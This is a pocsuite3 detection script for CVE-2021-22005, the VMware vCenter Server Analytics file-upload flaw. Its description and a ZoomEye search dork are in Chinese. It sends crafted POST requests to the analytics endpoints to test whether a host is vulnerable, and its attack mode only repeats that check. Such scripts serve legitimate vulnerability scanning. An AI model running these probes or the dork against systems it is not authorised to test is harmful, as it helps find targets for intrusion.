vmware-vcenter-FileUpload_CVE-2021-22005_rce.py

#! /usr/bin/env python3
# coding:utf-8

from pocsuite3.api import Output, POCBase, register_poc, requests, logger

class TestPOC(POCBase):
    vulID = '99359'  # ssvid
    version = '2.0'
    author = ['seebug']
    vulDate = '2021-09-22'
    createDate = '2021-09-23'
    updateDate = '2021-09-23'
    references = ['https://www.seebug.org/vuldb/ssvid-99359','https://mp.weixin.qq.com/s/UcH-IOUOtO6rsWWetc6O-A']
    name = 'VMware vCenter Server 文件上传漏洞（CVE-2021-22005）检测脚本'
    appPowerLink = 'https://www.vmware.com'
    appName = 'VMware vCenter Server'
    appVersion = 'version < 7.0 U2c、version < 6.7 U3o'
    vulType = 'File Upload'
    desc = '''攻击者可构造恶意请求，通过vCenter中的Analytics服务上传恶意文件导致远程代码执行漏洞。该漏洞被分配编号CVE-2021-22005。
    知道创宇云安全已支持该漏洞检测'''
    dork = {'zoomeye': 'app:"VMware vCenter"'}
    suricata_request = ''''''
    suricata_response = ''''''
    samples = ['']
    install_requires = ['']

    def _check(self):
        self.url = self.url.rstrip('/')
        try:
            rep = requests.post(self.url + "/analytics/telemetry/ph/api/hyper/send?_c&_i=test",
                                headers={"Content-Type": "application/json"}, data="lorem ipsum")
            if rep.status_code == 201:
                return True

            headers = {
                "Accept-Encoding": "gzip, deflate",
                "X-Deployment-Secret": "abc",
                "accept": "application/vapi",
                "Connection": "keep-alive",
                "Content-Type": "application/json",
            }
            rep = requests.post(self.url + "/analytics/ph/api/dataapp/agent?_c=test&_i=1", headers=headers, data="{}")

            if rep.status_code == 201:
                return True

            headers["Connection"] = "close"
            rep = requests.post(self.url + "/analytics/ph/api/dataapp/agent?action=collect&_c=test&_i=1",
                                headers=headers,
                                data="{}")
            if rep.status_code == 200:
                return True
        except Exception as e:
            logger.error(e)

    def _verify(self):
        result = {}
        if self._check():
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url

        return self.parse_output(result)

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register_poc(TestPOC)